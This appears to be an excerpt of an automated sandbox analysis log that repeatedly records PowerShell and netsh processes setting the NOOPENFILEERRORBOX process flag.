Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
